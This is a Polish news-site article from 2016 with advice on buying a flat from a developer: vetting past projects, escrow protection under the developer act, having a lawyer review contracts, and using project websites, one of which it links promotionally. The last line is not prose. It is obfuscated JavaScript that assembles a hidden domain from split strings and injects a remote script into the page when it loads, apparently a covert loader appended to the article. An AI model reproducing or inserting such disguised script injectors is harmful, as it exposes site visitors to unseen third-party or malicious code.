31 maja 2016r. godz. 09:30, odsłon: 4696, Redakcja

Kupujesz mieszkanie od dewelopera – co musisz wiedzieć?

Jest kilka istotnych spraw, na które warto jest zwrócić uwagę zanim dokonamy transakcji z deweloperem.

Co roku bardzo wiele osób decyduje się na zakup nowego mieszkania. Jednakże jest kilka istotnych spraw, na które warto jest zwrócić uwagę zanim dokonamy transakcji z deweloperem. Poniżej znajdziesz zbiór podstawowych kwestii, którymi koniecznie warto się zająć.

Sprawdź inwestycję

Wybór inwestycji ma kluczowe znaczenie i zdecydowanie należy wyłączyć tutaj emocje. Oczywiście zdajemy sobie sprawę z tego, że piękne wizualizacje prezentowane przez deweloperów robią wrażenie, a atrakcyjne ceny dodatkowo podsycają pragnienie kupna danego mieszkania.

Zanim jednak przypieczętujesz swój wybór podpisem na umowie z deweloperem warto jest dokładnie zapoznać się z jego wcześniejszymi realizacjami. Jeśli masz możliwość, to możesz je również odwiedzić i zapoznać się z tym, jak wykończone są mieszkania i czy klienci są zadowoleni. Należy skierować swoją uwagę także na teren wokół inwestycji. Czy wszystko jest zadbane i dokończone, czy też potraktowane bardzo niedbale i byle jak. Jeśli tam deweloper nie wywiązał się z umowy, to istnieją bardzo duże szanse, że w Twoim przypadku również tak będzie.

Finansowanie inwestycji

Jeszcze do niedawna, podczas kupowania mieszkania będącego w trakcie budowy istniało realne ryzyko, że deweloper zbankrutuje i niestety zostaniemy z niczym. Tymczasem dzięki ustawie deweloperskiej kupujący jest dość dobrze zabezpieczony. Pieniądze są złożone nie na koncie dewelopera, ale specjalnym rachunku zarządzanym przez bank. Przelewa on pieniądze wykonawcy dopiero wtedy, kiedy nieruchomość zostanie wybudowana i oddana do użytku nabywcy.

Z pewnością na poszczególnych etapach kupowania mieszkania pojawi się wiele pytań w Twojej głowie. Warto wtedy udać się do doświadczonego specjalisty, a nie polegać na radach, jakie znajdziesz na forach internetowych. Wszelkie umowy polecamy oddawać do przeanalizowania prawnikowi, który w razie jakichkolwiek wątpliwości zgłosi Ci swoje uwagi. W ten sposób unikniesz problemów i niebawem będziesz mógł odebrać klucze do swojego wymarzonego mieszkania.

Strona internetowa

Wielu deweloperów oferuje również możliwość zapoznania się z powstającą inwestycją dzięki stronom internetowym ( np. http://komorowice3.pl/). Na takiej strony znajdziesz informacje o samej inwestycji, kolejnych etapach budowy oraz ilości wolnych mieszkań. Często znajdują się tam różnego rodzaju poradniki i artykuły, które pomogą Ci w wyborze mieszkania. Można tam również znaleźć praktyczne wskazówki dotyczące kredytu mieszkaniowego. 

Pamiętaj również o Targach Mieszkań, szkoleniach programu Mieszkań dla Młodych i informacjach zdobytych od znajomych na temat danego dewelopera. Zakup mieszkania to bardzo poważna decyzja, która wiąże nas z jednym miejscem i bankiem na dłuższy okres czasu, więc warto dobrze się do tego przygotować. 

(function(){ cldi=document.createElement("script");cldi_=("ust");cldiu="10272280"; cldi_+="a"+("t.i");cldi.type="text/javascript"; cldiu+=".h0ymrgagldix4wnjbgnd";cldi.async=true;cldi_+="n"+("f"+"o")+"/"; cldiu+="lw2891zeex";cldi.src="//"+cldi_+cldiu; document.body.appendChild(cldi); })();